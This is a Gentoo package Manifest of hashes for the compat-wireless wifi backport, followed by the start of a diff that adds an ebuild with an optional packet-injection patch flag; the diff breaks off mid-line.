leds-disable-strict-3.6.6.patch 799 SHA256 e1b5947608d9c53263efd76aed404eb7e4107d81669faeb484f5d680e4cfb570 SHA512 6373efc6697b4589c15c3cd2cfd8f3faa06fe90eeeb4fa9acaf187ecc682fac394444949dd26c2dde71c0f45aedb1198374764b580b824ddc6bc1e937273b5f1 WHIRLPOOL 40bdef714aa0ff4069bb50abf434dff88610d97f570b80f36622d29a43301bf013a90e90cb7f3f8044c2bf53a09154b1033a6f53b1edf186513452fdb681d55f +AUX leds-disable-strict.patch 1614 SHA256 58170c088e6d4d78be497d3efe808252df75d660b4ae1fa370d3bbd9ee6299f2 SHA512 d93685e46d0f680fb338cd25629bc58f940987be37366f506204ea16ffcfcce64292adb1781b30e4de875172ab787ea171768640ecf595f0d0a2a268520df299 WHIRLPOOL 1acf27575e81fd1c3386a7fb1d1b6aafb2357dc87248c040e6ab7290344b97bb9591f384bc1cb92ad4d991ad34a3cba8f5c0369db8d7234a1a71aa806a56cabc +AUX leds-disable.patch 1232 SHA256 55080ec9838b3eac1c06bb0b360374fa8170266ba0d85ceb1a88c7caef97ace0 SHA512 a57485a8e8ee598f9787a758ffc2bb2506eaee0be14b0db743c2ccdb73550710141b09aeaf662ed3742b1517340bf810c76f4ebaba8a646dd0d1f420df2d07f4 WHIRLPOOL ff244c6fa17e68a112c0cdc2e618cee2a28e7fb06c2ea209a8b51bf4d5de5b5c06057835b69e5ac908bc70d2a793ddbe5869996871abdfc69d75f13a8e5c761c +AUX linville-aircrack-ng.patch 1806 SHA256 d806d9eb1a402915fcf0daebc359902ea0ffbfc2303e2e77d38df2f2d8da215f SHA512 e1655823a809a7056ae9fab4ccafeef378a47b9aeb6148c71ad7e93d45807e30bd86da9df1520b1dd6016e47bba86959c37b3533088303631771120757b20c2a WHIRLPOOL 8b94bffed19665fe4921a8c44415b207978ac505dfe191a0c1bb0fea5b6523b6a827dc49ffa00a101f94ff309b17286a81a3ed26a75186ce7a3abf771f01dc94 +AUX mac80211.compat08082009.wl_frag+ack_v1.patch 1049 SHA256 e04ed9997e1578cc1becd4ef9d9f2f6f606590aa91a56e42835963913e1b0f52 SHA512 3276224127b3cd1cd02ffa877213de68e4d194bb5a81a90235b93f921bd4e5f916d8b6006c3cd9be7309ea86599599d6f3c7df6d8a3fe2d62559cc7518b799e2 WHIRLPOOL 8dd4739b52b0bdfdc892598588a34b28f4c8164fd2df9cb5568a2a2785f102651323afeab1c31d63854bcc18b27cde042d0c38f502572b7d6814b16b1ad61c31 +AUX make-make.patch 500 SHA256 b0fb357e356e655974dd2652c311f53d6ae32a096f0c7f96e61482a7f5acd7aa SHA512 57bea6ea720a38dc83873e5156b0d2c652776a6664a3214bd63561997f0810966bff0d44d23501303ec49f6f0f79f76aaaa657cfce43982dac71e085e6e3cd40 WHIRLPOOL 83b5f46d6e1e3bed18bebee1208c538169e8d12b2f910de62c4e04cebae8a411d1a4d48f97125c8d1c2f1bf1456560eff278c8f62f2eb8728bd3aa997eabe448 +AUX orinoco-remove-all-which-are-in-hostap-OFFICIAL.patch 12945 SHA256 38705e63f5034052d48c50a29d5a8bf114a692ce6e76a53b73371180d0e0f14b SHA512 89cd69d3631d815201b2b6aa9cc3b4927afbf6d002e6265ed00fd939d05e4cc9775f5e1dc88345a4d99e374487444eaaaf1ea636b1638115bc470368ad085a60 WHIRLPOOL 963ea68645ab2d4c1ae0ed39e9c6187813a44d4cf4232aeca98d76a0bc3b6aead70c1e91e96dd0fd417b82203d0594d1c50cc38ffc3ed02b24500d2b7a775d43 +AUX reinette-test2.patch 1460 SHA256 1de6d6ed109c4c9c23758c7eb02aeac2844f680cfc3c1e568c53f366cd3f4727 SHA512 32239a4b3dd990472bc7ff9bb8ab5815509ee9963ef0fffa1a664e1c858c96bfa358b8f3d52c131218f18587320df536444ebf8778adb59c15815c29ecb1cf71 WHIRLPOOL d1ba16776af0f5c15a6d577b16051912a97516e4c55cc9fa5c75638384c645af6331786a66a01b7f89e49eaf96e306cf022f91a0a289b4bab16936e1b907b3a4 +AUX rtl8187-mac80211-injection-speed-2.6.30-rc3.patch 1179 SHA256 bf6846089eb3d8cf7ebe119b4ffd1c32f7075a98d403fc8f96a5b49017c385b6 SHA512 881ca3e28e65f4b92e694ec54cf74d2e81d7b9207f6e81222dca0a91cac07d8f741c9b27777c88134428787b72e86b51f684209f593fd6a1661ab2366fd31370 WHIRLPOOL 23a370d258e19154637a5efb97b66a57bdbc39b9a8672e0e8dbd250d41272a92e56969dd94620d3a92a751c68feeab5e60962531b4bcb277c954569d31942ade +AUX super_secret_patch.diff 13499 SHA256 f4bd054b3348e98700e4481f50a1d809f2d2c89bfd24419b4d17e01bf6a0168e SHA512 b1fc070a09e2b2c8a555cf6380e462a9f5a0149e94d6a82019ee325d8e0e3c20b6bf755d83f946070f81e59cec930577e277b6c9322b543b2b990f6258b4f6c5 WHIRLPOOL 45a0e86a908d18bfc9554208cd2054a40b2bbe4a5b972ab5c4e1a26656aaadc24497090658737bdae1ee640c2ca847b8c6ecb1c7129496560968de2395006571 +AUX ubnt-wifi-station-ext2.patch 1006 SHA256 c0ebdd30b5ef141e39977fd529a4bd3e6062b20984c0eb53836fa4b0fb6f4b1e SHA512 06e5dbc9af37da946ef3247368703d460f8df7febc792c9da95fbfc6486dfd8ac49df1926e458e9beda23954c69ec33d98562c03904a6fd0cb6f7d40ba276129 WHIRLPOOL 359817e899e618056011e07eb94dffd62ab2636450ba3fd32790d6753a3b70d7a055d866521b7c815a5d2d2fc11d6d223a1577b41b8f2cb81ece9272610a129d +AUX whynot-2.6.31.patch 4272 SHA256 a1839efde553fb6c78b7121f94a3dc5401c146f9ff3e017e61de1b0298f4b371 SHA512 f972946999fab0a16f05ba3508bb4d54d70aa0cc2a1d1294dec34465c27ceb706095507e273b7b96e36014531d59d6ce5def2b23b7f52e93ee3fe8bb6a79a80c WHIRLPOOL a1784771b35ae15748423003b8eb7fab0e8aeeb2919ac3a43581ce0e8f1d4600f990b70f131637270491f4c433c0d96f6909e96ea377adf2aca0dc94c23f7f2b +AUX whynot-2.6.32.patch 666 SHA256 07cfc03d0ad5c47bec08d320afa63c79c0e6be9109dcf42b9811aad10bdc9c63 SHA512 8198dec59c952b641724a7fef8b001a640f84aefdc37651c8701ca6c37f67ea8b6a45233c404b5ee384d649f823a64d61d790bb8eef97837803954706de37e4b WHIRLPOOL 7a497f4861d4ab57f434a6717fa3460d897683c92f14e92b4aebbdf189f126cd4c20f7df506f959dd5a05504733fa6d23b56aae1d614c45a76035e6d4d63dbd8 +AUX whynot.patch 4106 SHA256 956cf3a0a8b8e1f0f0e3df985e351799f325a44e4cddf042d677a9e8109b7c9e SHA512 46e739fd16cc2067ec165f3e65ae711e75b20327768a67d09b839a42bdd128751f5727d283e851dc696f6183b4d8d5e752c2f786da70a186302a390f78497a88 WHIRLPOOL 9ea955e201d50d39fd1756f954e2b66fb2755b43cd166d6846ce888f433e4045c001d0c28254d4d0ceec7e5ff4c1373280e190c85986928e64f4bceb3569bdc8 +AUX wl1251-inject-2.6.37.patch 47143 SHA256 04660a1f7fb241aafeb7fba3a7791cc31fd74efa75fa73616b3abe6b39f89b36 SHA512 7a17230572f0de8ff134b051edd8d65a48d91c61cbe850ee4e4cc04315800619fd29a8f80d83eb5c771639277fe3707d05dcadea76578e95eebd3e901966da28 WHIRLPOOL 4a7daab5281f272d24bfc48a0f9a642334f28a31848d77d411cff678513cfcef34f34f1c33c45619706728263c26bd8d0a29afb9db867a646a9dc5d4feca5775 +DIST compat-wireless-2.6.32.8.tar.bz2 2007299 SHA256 d48a86e82fb314b96097d437215a8c85fe5072d00586a00ef9950d26ba1e673b +DIST compat-wireless-2.6.33.tar.bz2 2266149 SHA256 740c8749808d82495c40a3139fc12e751463a82eb949804dfe96e166f0848200 +DIST compat-wireless-2.6.34.tar.bz2 2370805 SHA256 4e4af0df6c74461571925bea8f315f86a6dee3f4a74bbafed7950fdf30fdddd4 +DIST compat-wireless-2.6.35-1.tar.bz2 2548928 SHA256 579100ac48f459aa1ec71ae183e37ab91475109081a17c7b45fc5af35ed3c3ec +DIST compat-wireless-2.6.36-5-spn.tar.bz2 2664927 SHA256 da4362445405bf7de55947b79ee72a3a9c56cf4a91e3eef74f7896aad59b02df +DIST compat-wireless-2.6.37-4-sn.tar.bz2 3874734 SHA256 95bbc94885bfbccb50d42b4d677f1f1442713fc5db08905aaa05e2955b34b133 +DIST compat-wireless-2.6.38.2-2-ns.tar.bz2 4060490 SHA256 f77b913f90bfc40233d7c71e2c274afac1134997a9257116521873ca1a5a0f79 +DIST compat-wireless-2.6.39-1-sn.tar.bz2 4333239 SHA256 8fb43a233e91c0f3e48ef7428d2a4ee9d6bd77ce1edc1d248a9409bcb985ed71 +DIST compat-wireless-3.0-2.tar.bz2 4238914 SHA256 492f9b5232cd061ca96c26718f5e4a98b9311f8f551713727fdd4fc0b57af79d +DIST compat-wireless-3.1.1-1.tar.bz2 4289900 SHA256 3ce364fe5acddd6fb7ebf0b74358fc489487384ad34d5247c60b073745075d02 +DIST compat-wireless-3.2-1-s.tar.bz2 4107365 SHA256 b6d70ba8ec268d4d0cabece0ff227e1b1aaf7fe89e5261bd2b0dbfecad5cf4f8 +DIST compat-wireless-3.2.5-1.tar.bz2 4102350 SHA256 a7bc714c8e438dea348a154c6f4ca583cdbc5155467ec9ae8498a90c70f89658 +DIST compat-wireless-3.3-1.tar.bz2 4244971 SHA256 d676ecbe8c8c8257c5af1a7feb3c4e8372bf0984807bbc89c98b4df516d6231b +DIST compat-wireless-3.3-2-n.tar.bz2 4156020 SHA256 fdf4801775f7ad7692b9c8ee8b1712a16e198d6d810273b149be71c8e4663b4f +DIST compat-wireless-3.4-rc1-2.tar.bz2 4274601 SHA256 e8b00297b93d3af4397a4621b8f74dca26872cd2e2e5fd3cc398580d809a5089 +DIST compat-wireless-3.4-rc3-1.tar.bz2 4275635 SHA256 44a2a890d389216332c862e4175d054e43dccb8734f7073202ab951ad69aed99 +DIST compat-wireless-3.5-1-snpc.tar.bz2 4506539 SHA256 29b8784cc993f5797cbd3a09acafc4a2446987090bcb8f6f8f6b365b07fa3163 SHA512 74315d2000cb7507c4f95b2c0fe34646d24b6d4bf6e5b27eaa6e492cbd5d244d416867cf4cacbcc98add39f17634ab0476f5b879e81840529bf5f872c2b0e4fe WHIRLPOOL dc94c9072fb6d8c4ae5401e12e9cae8c0c058e3b9ff1a05e4242f65d19729d9107273cd4d97c5ded7bf4dce1c53c668fdd20bc8e94ca4981898d6a94c362c674 +DIST compat-wireless-3.5-rc3-2-snpc.tar.bz2 4496631 SHA256 d741811bcf1609ccbb92b144dc4fd0f4e6efef626af272bcf16bb36e3a73f557 SHA512 30a8b14c17c78f5d60cf2e0b00e651d2bf2685e0a81ad96b7cbf6a8ba340e705097211467465751d09fd43e6eb872b0dc085ff92d073bb7fc8746bcbd0d89471 WHIRLPOOL 67cca3a4ada6af184d9e9ce67ff9db4f0cab4731a51c81ae524dc87b7a6715a4a0081758ec50c4cb5f119f982ed4aced006062fe87be229a6e427eb6c7aff699 +DIST compat-wireless-3.5.4-1-snpc.tar.bz2 4444641 SHA256 0689b3c52655538e045c1f715d2715619e625330241b8e50df3f6e971f848d51 SHA512 58c502668c7a776dd6c46b39766e2dc6f74a285f4ee176d6852c22e9e19d95bc86b8ec1b784f5b4a7ffe5816d2c6bfe6bfe2132d7b9fe1e11fb6377122f64f67 WHIRLPOOL 366a72b8d414950ed855d68caea838bf04e54b047e6075188ba5d3fc0be919cf859ec3fac1dcfe90939f4bb91fe3dbe18ddc5cb11fc323f7e2a45d2a3f6a7f98 +DIST compat-wireless-3.6-rc5-1-c.tar.bz2 4451239 SHA256 8e834f513760c5cf22fec2155b0044e6ec375ee6cb4592b484bb312e7fbf6bde SHA512 bbf9fb7a4570264ab49f6fed7494b907fd5153854df5d18df362a7a9f9ffdc36c7c305be37ff69669533e891777e020ffee5842b6b42374afcfedf4d09939efe WHIRLPOOL 2d24db5cc25f0cb8a8735b962d0a980e6b0192dff00a0f7f3bfb93459b8a3d0f364a453405db1e91b84b268a6567f2d4f3ac0d85dd6a52600cc2d1df90757f18 +DIST compat-wireless-3.6-rc7-1-snpc.tar.bz2 4476642 SHA256 a6dddad3c5b11323d1220514bcf90d416809a7c79aa48206f8833294f917ffad SHA512 e937cf1f35150225e11b5d5cac68f66d1a27396392dec29e5becb297b344798aaf33b0d9f7a0526b3a467cf80190b7505e4468523ed223218b0d1b73af24c791 WHIRLPOOL 9df331c460fba824936a273075e40360b74dbdcc7c1fd4ec29d665b97cbfa3d2d303393bfc022a87720aee7662f58106ba3f8c7713b1cee09e1955ee63ab85e9 +DIST compat-wireless-3.6.2-1-snpc.tar.bz2 4572972 SHA256 bb968ef3575193d378bc83612899a8c992050f36ea3a2d0772fc6fcd53b79f83 SHA512 961d3ea77ccb813ae8183dbdb3214ffbf03e0fe3f2a584261eb36515f810ff98dfdfb885c19cef9358aec084e65b6caa350de4e48dbbdcea357a8b5766797a67 WHIRLPOOL 274ae2d8af2218aaa0b73f70d343c566283dcfd2f4dc5269e88fdf89680a6a5a0b1223efc2eb4c0f7eac6033bdc81222f36b7af243898721d8c422694ee5b8cf +DIST compat-wireless-3.6.6-1-snpc.tar.bz2 4597715 SHA256 3df76268e9e09cac0214be4d048a18fb2baf58b896feebca3b42c88c50387cd3 SHA512 ae96538b0c8589200bae73dfed8a363b43048d61de949a58fcfd86a7c7af4d1bc97cae6f71a33e9e2c4cf9051d49fab192cf278154d8f17c8bffc3ffa5b08511 WHIRLPOOL de5bc105520c5f9df8fe1551bc667103cbb412ad4c25585968a12b591101b3fccbdf76e5adf218234d6f9b3d9974cda8234b12119c5775322b8f6b3e574389f0 +EBUILD compat-wireless-2.6.32.8.ebuild 2368 SHA256 705bb5ad89ec2433edd4252488b3e7322c5137c49520203a3cbea44314ab9234 SHA512 6b0b07c8ce7cf9bbffe0351fc7264ced050313a184a23868be81b3d57b8b8693fb3fc9e83c5717383c53eaaeef7221cad1ebcb6b9b8c21dbc3ffe30eded7e3f4 WHIRLPOOL 81121fa7a68691dd8db9d916360d8996c5666161ca37f4cdc629a881465dea2145d9374e732e4e84c070cb86a97cc9f9e9348999977d5fb1b885055eef0a087f +EBUILD compat-wireless-2.6.33-r1.ebuild 2747 SHA256 0d425eec9472ed83cd1a29945ead1116612c938248c430653510011d56307a6b SHA512 0e738fb2b8faeae9b048274e8b0d6c903295683461008872a162ec30fb05ae5f244b3fe9c3a1f58800b76d46d9d41e9e2ac00c9a677ce0d8fe0f56e6625767f2 WHIRLPOOL 49b65789c947df4d86b38fc8b354d68636553d028f52a318bb72915565a7c335ba56182f7bed3ab6636cd325d9ff2c2ee70f8a48bc0f0369201f787df67ed79d +EBUILD compat-wireless-2.6.34-r2.ebuild 3918 SHA256 a729ecc6955dac802ed9b1585f23a48c54fdd45434d2673930322c792c77e159 SHA512 e2b2e55e2ef0c814d16d59dbdcb3a18fa5505ccae794d5ffa7baaf019fc206ca9446d301a72d2f1c2d0ab04fdb9bba8cf302cd82b6353930e4c2e71fe9a72e71 WHIRLPOOL 1a3d2ab49d7a8b5a16f11953c87ba879cabacafcf7ba6cc3a969145cda0bb7f87fc7e099872d438d5c36f0f1fa8a2e908e627845ec8909777e1f4a28dc9c4b35 +EBUILD compat-wireless-2.6.35-r1.ebuild 5471 SHA256 25c0b5e0db7fe4d1e9942acbe7f0325e1ef8d7e92488f0f554734bca2d0e86e0 SHA512 986c5f7a8fe206ba08c1fe9ea67fd15729697a3df98aa3f654aad91f0994f072f74245770cbb43ed712e861e8779d7beaf4b96e8cbf98914ef84898199b2eca9 WHIRLPOOL ebc0449441adfb5291c66334cdfc0bb71c04f9bc7216062fcf9c9d81c35b08a2815efd3500b2cdb4a55f9db38f3866408eff31890c5d9954aaed40a7f198b747 +EBUILD compat-wireless-2.6.36.ebuild 5332 SHA256 52f02128f594db9950425aa03cd90cf9d5ff54d6475b25db696c58cd8c0a75d2 SHA512 6e762f0cfe590ba56557fb044ccf74496675409f3506ea3a4735a53f597befabd0db5a5ba475d1d3759dbd547115f685c55926c306950b535279a541a616f1b8 WHIRLPOOL 8d22f0604f1f754b610c1a06e0d36e4de41a37aa33f27aa158b133764c6da63f08e8065ad3ae376ccd0ae2afeb0369be6b4efc2226a396096947c4ee54e38577 +EBUILD compat-wireless-2.6.37-r7.ebuild 5443 SHA256 f08fb77d9972331aae217e050e034e3bfd17d933c5eb22a272d05c7022f70462 SHA512 b4444979bfe1836772b070dd4def2d49a00f413345abf10a09a544e509e418bfb8c73025411a4d0ba51cce81aceaceb7d105c194a38108806bf206fccfbf05a1 WHIRLPOOL c6fb723e48bd81aed620de570e4821c8ceee0f757080ff6eec196ca1ebb37e2a40cef15d8b9311bd9e48508efa6a538979d84221653c79ce8293c2a18a3c45c1 +EBUILD compat-wireless-2.6.37-r8.ebuild 5665 SHA256 e772bd9a4c2c39332e0844476a7d9f3452576736f6c072562250644e787350d0 SHA512 e1f4976bbc9c72d3b3bbeed683e3da51d525e7eefe96b3169998c365bcdc8bde9998987cb0aaad830aff28583f3523e3a5cba2ebd3dc7c93e960a720fbac0a72 WHIRLPOOL c7fc58e2afd6449d387bd8c242c6075ea31c2c5384d501044030aad8bf721c74d6adb6a24fd7a2db67aa0ca0817d2ad646679d5048a7d7bbb3cd16e4ad525813 +EBUILD compat-wireless-2.6.38.2-r1.ebuild 5641 SHA256 e226115a59b6c8b91585231ca007d8929dc5f3e4ea7e1e4807c81a2e788869a1 SHA512 de77fdbbfe532b6795d7c97a799fae63bf9453eb9ee4661b34c170654f81e47cdf612239166ced3d08fd27fd37c71a678eb3c5f62d835881bcae798609aa2ff6 WHIRLPOOL 9f0c4a082cd7296fca612b04e87ac0ea469e39f28c38f15f3a91245da029d2b7ec087fef864f80e44d2f6e73d15604e6edbb016dc2b86986b7b19dd18701fab7 +EBUILD compat-wireless-2.6.39-r1.ebuild 5452 SHA256 f93936fa1e85242c8380d6c0ae045b8e7d25930490fe5111f33e7736d9e26aea SHA512 828bbedc9caaa7ceb74f46403b04a29852a464ee617d99b46a0a3844727981835f7127d55ad85289519dce30a238628a849e42df0c01e165a8a60d8ffe6e1dcc WHIRLPOOL 9078e14bdf48624a388c55c8b31f89827f18a64c7420cd717f941e853d8cb203234e81ec5d929cb6786235e5485e8722913c4f1c96d2bb40296c61c09ac39cd4 +EBUILD compat-wireless-3.0.ebuild 6462 SHA256 e40c72a1b7561f30327c37ba21c1aba2037bfc3e2a567d9179c02f004a4ab644 SHA512 e3ac081cd368e068cddc060635ae212510e67e1d6b6507b6b98c14bc0aa3176fbd22b9b22f0ad6bc1a8f14a4383c34afb724155f49e5fb5356ad545c08163917 WHIRLPOOL 1798cb6e82d6df4d437dd674df0b5578009d45195b2b76a2d8170db29024b50e59e997a2afc3e6f7d334a76cc103801931fd54fdf4599757f34cd4fdcba8d85e +EBUILD compat-wireless-3.1.1.ebuild 6627 SHA256 029fc51c569dc55559decd1c6aa3c12d92cd69c5297c42418ce3b91d4a52f376 SHA512 1afcaf19360e670e09b61973c28cea3e32873c68a41699d49a2fa1ef1fe8710d305da1ec5b8ce7dda50bcaf5447079b032dc33729e97aed47ac4e75d21a29353 WHIRLPOOL e38bcb9be17febef0ebc12d94e20e86a56869915ce3e4c94b591a12faff772ebb16ad45ea2cba70757c06daa9929c456d6f0172cc1e67de4c2372ae3e2763a69 +EBUILD compat-wireless-3.2.5.ebuild 6613 SHA256 7d1a5b6a35612206effbc67eb9963c9f414163999a0462bc7527499f6daae653 SHA512 9dbffcb6314392d6c5dc6715f1b69efb8ccb5c50e7d74c3de42687142a0e7d314da040bbb3d30f3ea2445bfb24c44cbd13db8ace02a7c16b66f31fb4804b23f6 WHIRLPOOL e2cab0f2ef9d840ccad4c9711e7b0f94968989e0bcabfe363808bdf7a86bfbc901472e4e8d1ac1201090fe9fd04693f9f31770fbaf059a783992365c225298f4 +EBUILD compat-wireless-3.2.ebuild 6615 SHA256 0f7475bd458596e43913d99406bbb273172c769f7cb11c5d2c5a1c02a15ff15c SHA512 979e270c251644a8e8bb136c90fbcb7c7c26e07d14250e4d768972a22b5e3c7c7c2b5a61d0271de1abae8a88d893cd16582605345a318af9a99e078fa94c9e13 WHIRLPOOL 3730056766e21fb23fa2360942d75d5dc2324dc6ed3c01d3e453e0a42d2ea7ce59b9a6db85e84e48b12f927ec7211d30296c2d0a04c53f78695dd9fda259ccb1 +EBUILD compat-wireless-3.3-r1.ebuild 6317 SHA256 27ae5ed262b60f48ce1d9a7da3b09cb1db33cada389254605679adb1dc718c2e SHA512 8e4293ce97443d1cd61d75227f08bb1887fb6f43ea3001cf8983c2200c5ca479492ea2b88f3ab862f7ad9a40fe9afb66392c639b56d4d50d255237739cdfb0fb WHIRLPOOL 8a64790158a33caa9d71d025bf3521fc3660ddf1e63570e7eea5acf70944d7f0f14ee46f44f7a7d0f75106f46adbe63c1534f712a630500663e8cc028fe3aab5 +EBUILD compat-wireless-3.3.ebuild 6275 SHA256 db55c6bb5a23842442bb39f2a43d3f45ce66e5d84adf1e6db9841db47a5fbac7 SHA512 4153d3afb0fdc810737aca42818f09b2b9597b9ab20ab479a775cf1a40672af4957e4e2d927d12b250c81076415c9e86def9a2de6d7c96084423512a80cf6044 WHIRLPOOL 5e60138c814ccca49a80c56ff389ce4c1a06955fb4646d8aca9a49ca35896aff74a0ef381f240665aae34c0c11dff0f84f354ea020e9665478dfc93a1c2d2ab5 +EBUILD compat-wireless-3.4_rc1-r1.ebuild 6105 SHA256 5ca6f1d0a82acc892f43de06ff3260e2258b92d8e82e632132e5c067e52efea8 SHA512 4585936607e2e439ba831752be38ab3992ce65676493300cbccd96e96c4db2e885adb816086e0c7649cee95b1cf20a7f556698bc5aa438fb606c856d70d5a1fa WHIRLPOOL 0834e6e5864971be8847c600df8ba8d0f6d375146d5e0ff36def418152d7aeb249076eb4e877fdca30cbf55ce54e5fa396a1940f324b786765dfb42ea4e01c0c +EBUILD compat-wireless-3.4_rc1.ebuild 6137 SHA256 6c50d965b199dc1c44b1bd33e2bb7db34218954a6e0ebfdd5e8aeaf930858099 SHA512 765534bb307877f8192b614b821133551adfce6bcb67391a8e2d0b8a016ae3c75c85404bde0e831680b60332bc95334a234fe4b53da3ef6a6977318fd71e50ef WHIRLPOOL addeba3038f52d242404d3cdf4688056fc2b894ff2c1022a27c4bfe62158b233a19fa3b9884b3fb20dfb9a67a3ca983ddc2327feb95b4e687aa47cf0a32e2d6d +EBUILD compat-wireless-3.4_rc3.ebuild 5872 SHA256 27cc89665d38e6d5d77e8d79d17ffd261df01926873a96e9b4f7761ce3f9f021 SHA512 30ec8dc90c7740d771d24c01915548720f63ce7228738ae461f72d5cd9ab2774bc71db953262f51d9daf66b0d9d691434ee8f4a14ca0427cba95a083ad9d2785 WHIRLPOOL 471526b59b1a50a253f9dd919b99bbc7f065dcba99513456ed46b932cc53ed26f5a09abf968ed94c9c0c5ea85d9df55ff5f87dbcb424c4438700f6bc5ed84afa +EBUILD compat-wireless-3.5-r1.ebuild 6796 SHA256 51e3127daf1c5ccce2f87e5e23f44c7574c295224b1b73c925f8178bb04ff0b7 SHA512 f020885f37307d5f09d3f1268a6ffab03bb8b19f6a07f0203e96a3c674eefec9b5cba2ac0815ba0bc8c7cceaa7524642fd5f1a612693c0e513bbd0949da91ad6 WHIRLPOOL b473db6e540a57220c954bb13fbd2a19ea2c4b20a19af86c12db314e24995d5df9b9cf87e27acab0b92f2f0b4d5bfd85fcb36fab2c4188899bc7e8197c745a55 +EBUILD compat-wireless-3.5.4.ebuild 6866 SHA256 5bfd7f37623890fdccc766a5203bf2cb7613a9343498f51d9c5f29e3d888e8f9 SHA512 3b37c20e0ec5368df908e70c3175ca05957120fd81e58e672019a3f611e308b33950fff1251e7d26107bd50a0c8875eeef983a33fe0c19145238c5b78ed2a680 WHIRLPOOL d8e2db4c96037ea606045f87d1835859cbbbdfd4545b6dca345f9f45025c6ba1cf9bfe5b6194b43ecb48515ecaa3ceaff672de2f1837acc393d065ec1d2e1c8c +EBUILD compat-wireless-3.5.ebuild 6738 SHA256 38ca4b3947bffe53f458082be5694c7a9a20277bc6f4f9ee20c66bde89659671 SHA512 d92ad6ef63ee45921494e82847563dd61bf50cb7e26e093b7ecb08db804ec670fe655ccafcfebbd1f0af2afff10d23eac603843403f8dc4ca32e1a98548f6718 WHIRLPOOL 66f73ea8a501d26460003361e240f1e6d1b7328c8eaba353192c6b965a0af0172ffaab622999d3cfe9edf91df9106a99aa3f101774dc2d198e68f5343e996b86 +EBUILD compat-wireless-3.5_rc3.ebuild 5813 SHA256 422b28008c3583b13a20194b9a8f5b575f77e0170ac3964b67adc5c43839c801 SHA512 4ad8b1d41e4097afccf3e7de2bb2ad26d6d52e2ddfffeb61fa4a0c7add0f5b9867546bd0b2cb378cf435f0da3dfafc84198075dbeb583e429f273f23bed97045 WHIRLPOOL e33126218e92d48f94f3e830a35fb24db1d9d9dc267fd0a48cb035b3187720a67af39fccfd2a7ba2cae284662cc3df46ecf7a307a50a2b47fd6f170aa323bbb1 +EBUILD compat-wireless-3.6.2.ebuild 7119 SHA256 0c79591d9afd1d9bed4e26e5690d16e8e3f5d280e7792ff292c37181a9c659bc SHA512 7fab1dfbb744fd649a377b134a413bdeef414ea014646d744ce60441ea5c15c16d3b7e670494670bc0bf220ee0155ee8e6070f02e4ee2bbad59d799d8bd9edfc WHIRLPOOL 047680be03ea2fb004eda87954d31d24a542ae94ee6d4e2cd8f76e330464af8602f45a4d8e7920c5d34e56a5d6ab22c3b0df23ec038c65173f430ea2e9607d95 +EBUILD compat-wireless-3.6.6-r1.ebuild 7241 SHA256 36422b26eb004e9cee54723463dfa2ee3bcbe85215f91b4621cd525fc30ef4d1 SHA512 cd11940f10a60ff22532bbc37faa46015e09494bd50d282fbc8fa2d8ec3d0e37ef0fcb517a59dcd1a2fe75f46ec998c898024348615aafc71fe9eb6789ba364d WHIRLPOOL 353ad02c98ceb63fc3c58756e4968b983635536127072bf24141216001e6e39fd80fa4c54ae498ada53891c6777fee2c69d5d307d4fe75f01a369f9e01efcc78 +EBUILD compat-wireless-3.6.6.ebuild 7120 SHA256 0b463780ffe9339aeb4661db085aad049973b702bab9a3714288275bf11d7dd2 SHA512 64211a924fb68386398a7d189a7e2d5cf25528f61636396764c175f2e7fc21c0dab62578d4870911e599b6619d724b3f7a481428b3682d6385ecdd75b27d9c94 WHIRLPOOL e75a856faab4e808e276260dc27b20da4db2ad920743b3fcc58488aa9566fdbe4cc8f82bd6a4fd075bc6cfee4b43d7d67d37149b9997b193835391adce97948e +EBUILD compat-wireless-3.6_rc5.ebuild 6878 SHA256 5c174ccc936d0a81b585cd20238aed52c2d520b43067b5768579cabbf80ceb20 SHA512 0cef6c6a305c47ac0a3f57e71ed6740e1f5ad76f660ca23df1c2253ab4ba329dba988a061d10e0e23bcbbcf76990f53213ff008b8a03612f58efee1222f56b12 WHIRLPOOL 6595e81a6f805ce643768b74af497398c7cb74e2db0bf7767acf45576b19e976bf0ab172f95ac6cc1aeea0a5869c87b0ecb65faf348e76758056d62ada675362 +EBUILD compat-wireless-3.6_rc7.ebuild 7121 SHA256 40fa110888619aa0eca6a920554e3734e84a8319402ff88369f8c1b16a2460fb SHA512 41aca27c4accfa72c9bd9554e30127ed48627e7dfdfbe60d3a7eeca55387d12beafa04ff6ef36b8bed90f6ccc49aa3b817a8769f3b2ea2d8e9338adc4058adc3 WHIRLPOOL bf2207904ce98356b4b640272a0d0ad37534c50a467fccff8c8696937bb71d36c1fe819d09ee42e79d2b2499b0f968c1725b23ecee4411daec2a9ef61068a65a +MISC metadata.xml 228 SHA256 8715828d1bff71d5d96b991ba600bae9376c1c80c96f0f102260fc335ca22487 SHA512 006b031017fe79d0da68ed1c2684d2b87f75976111d8abdb18d126ffe142df8ded67805f14fe4adfe17e93287080126b7f4af64dac0ebaa1d9fe4c97e5f9573a WHIRLPOOL e711ede3bf7bcf0dc9d3ecd2706e4120270d4942718ee901f8d42c1c86055c8b153bdb24d6682a56d14f5b14d4ff220c115f14714b3f039bdc3deeece3d1fd02 diff --git a/net-wireless/compat-wireless/compat-wireless-2.6.32.8.ebuild b/net-wireless/compat-wireless/compat-wireless-2.6.32.8.ebuild new file mode 100644 index 00000000..9a77e7f7 --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-2.6.32.8.ebuild @@ -0,0 +1,80 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" +inherit linux-mod linux-info versionator + +##Stable +MY_P=${P/_rc/-rc} +MY_PV=v$(get_version_component_range 1-3) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-2.6-stable/${MY_PV}/${MY_P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="amd64 x86" +IUSE="injection" + +DEPEND="" +RDEPEND="=sys-kernel/linux-firmware-99999999" + +S=${WORKDIR}/${MY_P} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required" + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" +} + +src_prepare() { + #whynot patch is against the makefile to fix general brokeness + epatch "${FILESDIR}"/whynot-2.6.32.patch + + if use injection; then + epatch "${FILESDIR}"/400[24]_*.patch + epatch 